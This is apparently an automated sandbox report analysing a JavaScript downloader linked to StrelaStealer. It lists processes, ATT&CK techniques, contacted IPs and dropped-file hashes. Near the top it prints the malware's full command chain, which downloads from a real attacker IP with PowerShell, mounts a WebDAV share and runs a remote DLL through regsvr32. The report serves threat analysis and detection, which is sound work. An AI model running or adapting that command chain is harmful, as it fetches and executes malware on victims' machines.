Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2949911514285745182.js	8%	Virustotal		Browse
2949911514285745182.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/8	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/x	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/=	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.20	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/8	net.exe, 00000007.00000002.1371674448.000002B7808AC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/tem	net.exe, 00000007.00000002.1371674448.000002B780878000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/x	net.exe, 00000007.00000002.1371674448.000002B7808AC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2597770014.0000020FA8800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1371674448.000002B7808AC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1371674448.000002B780878000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/=	net.exe, 00000007.00000002.1371674448.000002B780878000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1370476769.0000020FA8A00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588716
Start date and time:	2025-01-11 04:34:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2949911514285745182.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@4/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 50.16.47.176, 34.237.241.83, 54.224.241.105, 18.213.11.84, 162.159.61.3, 172.64.41.3, 2.23.242.162, 217.20.57.20, 2.16.168.107, 2.16.168.105, 23.209.209.135, 23.46.156.33, 23.46.156.49, 23.46.156.39, 23.46.156.36, 23.46.156.38, 23.46.156.37, 23.46.156.32, 23.46.156.52, 23.46.156.40, 13.107.246.45, 172.202.163.200, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:35:11	API Interceptor	23x Sleep call for process: powershell.exe modified
22:35:15	API Interceptor	1x Sleep call for process: net.exe modified
22:35:15	API Interceptor	2x Sleep call for process: svchost.exe modified
22:35:27	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	18620271451234622924.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1528152952987120978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13211101981378323787.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.22
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.22
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.26
	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	3414115772858819502.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18620271451234622924.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3236235451745230764.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1528152952987120978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807521349904149
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9F:0J7adfWuK0p/QDfKoPeuP0aN4fqoxi
MD5:	FD4025E07C1B19C26B4E95F591A8EBD8
SHA1:	0B7DA9389F16D7498E2314C9ED79B694185D7D3D
SHA-256:	C269FB7D51D661F68C0E9F25716AF5A9BFF88ED3AFEDE73589B6DF8C9E215E80
SHA-512:	85732374D73DDCF61418A0F7BAF5E4B5487EB2F3E7E6CFC64BA82482F3C6EC0781824A2FBF60F1EA03603021251154A2990BCBFD41496527648E2BF8ABA62F5C
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xa9144702, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7880470990354439
Encrypted:	false
SSDEEP:	1536:PSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:PazaPv4V4fXq2UaB
MD5:	5D38CD19151633E62708D74EDAF25441
SHA1:	69B68AFC78E399EB7F05485FBE157C87945D348D
SHA-256:	539A53972E244F708F177ED45FCDE999C3569B7594DB21943C829E3369FDD40B
SHA-512:	3A61FE612389CEE8E9B346B88C48AAED848F00006F813A8F443F0A32A186244A83F0C820A60EB15461FDA946F9D8E99F7D894FC3A7BF1ED1C0E8C56668952A7E
Malicious:	false
Preview:	..G.... ...............X\...;...{......................X............{...#...}..h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{....................................c.#...}.:.................L.@.#...}...........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08038701370557524
Encrypted:	false
SSDEEP:	3:AUW/EYeCoj4v1XlVG0+q2Iqe8l6vxuKlillNTt/4ll/Q6beV/:g/EzfjSGE8lOGHtc6V
MD5:	00288EF8B44A613B79902CBAAE11A413
SHA1:	8E095CCD06A1024A2CFF12C086CF8244B7BBD2BA
SHA-256:	8F8A42F4E900CCCDE30819BB370E1720BD6258B696E89D6CF0901EA4B9576FBC
SHA-512:	88849986A2ED739A35501F27EA804D5633AEC391772CB64BC02CFDECF55E59BBF15066BB4576E2E5024433BB1BEC21E1CA72DCD6557FF625CD91B6A833F02D80
Malicious:	false
Preview:	..B......................................;...{...#...}.......{...............{.......{....:......{..................L.@.#...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.148150798737264
Encrypted:	false
SSDEEP:	6:iO4qXvfTYVq2PFi2nKuAl9OmbnIFUtSqXvf6SgZmwsqXvf6SIkwOFi2nKuAl9Omt:7xcvdZHAahFUtjS/le5wZHAaSJ
MD5:	2E24391677189DD46153C509199704AC
SHA1:	F09D5F3B7ADBC3483B4712F0B740BA53777E9052
SHA-256:	71D297756166B97EA94A7578ABC122A164681287F81448948FC5F7F7723D5C39
SHA-512:	C93EFDA417AD364155242F8683985B63FA1B0B300EC11DD2A993047EC3428BF7E5606DB158D79AB160FAFB0B6F441011781A8DE769701D02929211DB4027E9FD
Malicious:	false
Preview:	2025/01/10-22:35:15.115 1860 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:35:15.118 1860 Recovering log #3.2025/01/10-22:35:15.118 1860 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.148150798737264
Encrypted:	false
SSDEEP:	6:iO4qXvfTYVq2PFi2nKuAl9OmbnIFUtSqXvf6SgZmwsqXvf6SIkwOFi2nKuAl9Omt:7xcvdZHAahFUtjS/le5wZHAaSJ
MD5:	2E24391677189DD46153C509199704AC
SHA1:	F09D5F3B7ADBC3483B4712F0B740BA53777E9052
SHA-256:	71D297756166B97EA94A7578ABC122A164681287F81448948FC5F7F7723D5C39
SHA-512:	C93EFDA417AD364155242F8683985B63FA1B0B300EC11DD2A993047EC3428BF7E5606DB158D79AB160FAFB0B6F441011781A8DE769701D02929211DB4027E9FD
Malicious:	false
Preview:	2025/01/10-22:35:15.115 1860 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:35:15.118 1860 Recovering log #3.2025/01/10-22:35:15.118 1860 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.180375553035569
Encrypted:	false
SSDEEP:	6:iO4qXvfBVq2PFi2nKuAl9Ombzo2jMGIFUtSqXvfrISgZmwsqXvfrISIkwOFi2nK3:7xpVvdZHAa8uFUtjPg/lPI5wZHAa8RJ
MD5:	F50A805AE2C834608F090399AC903C11
SHA1:	4AF370CDA73A1C06866F576D5EAC074818E1B62A
SHA-256:	B47FF88B5DBB2B49E324F4345758E12D22A6EF7279068E00CE2B29333D465E8C
SHA-512:	7260DF5387BFF838FFBBCD1284C0A4A97E38597D442BD2AAE9AC1EB2145D0BC239BFC663A5A949DD948A9C55189AF35BFD4FF56DA0C7C3712C5E984B90D2C7BE
Malicious:	false
Preview:	2025/01/10-22:35:15.177 1f14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:35:15.179 1f14 Recovering log #3.2025/01/10-22:35:15.179 1f14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.180375553035569
Encrypted:	false
SSDEEP:	6:iO4qXvfBVq2PFi2nKuAl9Ombzo2jMGIFUtSqXvfrISgZmwsqXvfrISIkwOFi2nK3:7xpVvdZHAa8uFUtjPg/lPI5wZHAa8RJ
MD5:	F50A805AE2C834608F090399AC903C11
SHA1:	4AF370CDA73A1C06866F576D5EAC074818E1B62A
SHA-256:	B47FF88B5DBB2B49E324F4345758E12D22A6EF7279068E00CE2B29333D465E8C
SHA-512:	7260DF5387BFF838FFBBCD1284C0A4A97E38597D442BD2AAE9AC1EB2145D0BC239BFC663A5A949DD948A9C55189AF35BFD4FF56DA0C7C3712C5E984B90D2C7BE
Malicious:	false
Preview:	2025/01/10-22:35:15.177 1f14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:35:15.179 1f14 Recovering log #3.2025/01/10-22:35:15.179 1f14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6d794f1a-40d1-4e1b-a473-bfba7fea5296.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.977862330412233
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqHesBdOg2HHcaq3QYiubpP7E4T3y:Y2sRdsidMHm3QYhbd7nby
MD5:	6B4AEA95FB19041AE5F89585E7F9B013
SHA1:	07C2110FE1D5E8518217F1C95480F03FA4FC6479
SHA-256:	BF2BE8AE4F086E42207C33AA7B5E28E7DE7A07540D89E623EDC2F0C697099645
SHA-512:	D4DEB3DEEB28E9A0F9F7BB6C9002D75C9B7163FBEAC785E94C5CE5A78B35F9C5E84C6BF94827EDCA5F3408EB563FCE09C9B78AE259D1D138402F81E9936728BD
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381126527740310","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":136979},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.977862330412233
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqHesBdOg2HHcaq3QYiubpP7E4T3y:Y2sRdsidMHm3QYhbd7nby
MD5:	6B4AEA95FB19041AE5F89585E7F9B013
SHA1:	07C2110FE1D5E8518217F1C95480F03FA4FC6479
SHA-256:	BF2BE8AE4F086E42207C33AA7B5E28E7DE7A07540D89E623EDC2F0C697099645
SHA-512:	D4DEB3DEEB28E9A0F9F7BB6C9002D75C9B7163FBEAC785E94C5CE5A78B35F9C5E84C6BF94827EDCA5F3408EB563FCE09C9B78AE259D1D138402F81E9936728BD
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381126527740310","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":136979},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.231624056961137
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEV59kHj:wshFT0h7cZb2EVKZPEANcGIK5EV59kHj
MD5:	C8673727146E3804580972BBAA9830F3
SHA1:	8E4FBC00FA2E9075D1FCB55FA09CD13EDA35EF88
SHA-256:	628C5419582D9746F62E64457BA48E29EB977DAA6C3212A2CDB8552F5CA2BA93
SHA-512:	89EB4A6905CE4A0BC2EA3F480B645E700721D8F7B865035AE581AFB96C7E346D228EEE8E828794E1487F7CF8E202534BA279D48E93BFD61795B22971A1D9D80F
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.188292147832599
Encrypted:	false
SSDEEP:	6:iO4qXvfQDVq2PFi2nKuAl9OmbzNMxIFUtSqXvfQ+gZmwsqXvfQ0IkwOFi2nKuAlG:7xqVvdZHAa8jFUtjLg/lBI5wZHAa84J
MD5:	F72CB3E8CDE58F748489FE6EED903586
SHA1:	1F14CD8290FE6894D15E0B23B8EB0B9F5C327637
SHA-256:	E34FA43F5A7FF1A946445DEBC48A9E15778C32153360F1347CEA7A72135072A5
SHA-512:	DD41A7157ED2A6F2B68320FDB49E2E2556CD0553DFAD851E72463965A9ECE99035812F53C6868B6AE836A15B84F3E6F47744B7EDEA87F298541C1385DF87C07F
Malicious:	false
Preview:	2025/01/10-22:35:16.090 1f14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:35:16.132 1f14 Recovering log #3.2025/01/10-22:35:16.138 1f14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.188292147832599
Encrypted:	false
SSDEEP:	6:iO4qXvfQDVq2PFi2nKuAl9OmbzNMxIFUtSqXvfQ+gZmwsqXvfQ0IkwOFi2nKuAlG:7xqVvdZHAa8jFUtjLg/lBI5wZHAa84J
MD5:	F72CB3E8CDE58F748489FE6EED903586
SHA1:	1F14CD8290FE6894D15E0B23B8EB0B9F5C327637
SHA-256:	E34FA43F5A7FF1A946445DEBC48A9E15778C32153360F1347CEA7A72135072A5
SHA-512:	DD41A7157ED2A6F2B68320FDB49E2E2556CD0553DFAD851E72463965A9ECE99035812F53C6868B6AE836A15B84F3E6F47744B7EDEA87F298541C1385DF87C07F
Malicious:	false
Preview:	2025/01/10-22:35:16.090 1f14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:35:16.132 1f14 Recovering log #3.2025/01/10-22:35:16.138 1f14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438780090110478
Encrypted:	false
SSDEEP:	384:CeVci5GSiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:CCurVgazUpUTTGt
MD5:	40C6B706F9A0FD3055EC7D2E16E42295
SHA1:	64AAFA036824D4E33740EC4477C594736CE387CF
SHA-256:	5E1221C3E8465DF89D8DE6A3C32FCB7A7EB9AE10CF57F840D6BD36654B64CBFD
SHA-512:	289C8A40BC7FB4B037B3DC3CDB5D84E0B55E12E2A0583A8AD28D71B63B4DC60652ABE6FD3D168EEE9C64FB02F0614C0062D058F71018809E21B8070A49F78AF2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2153531315062
Encrypted:	false
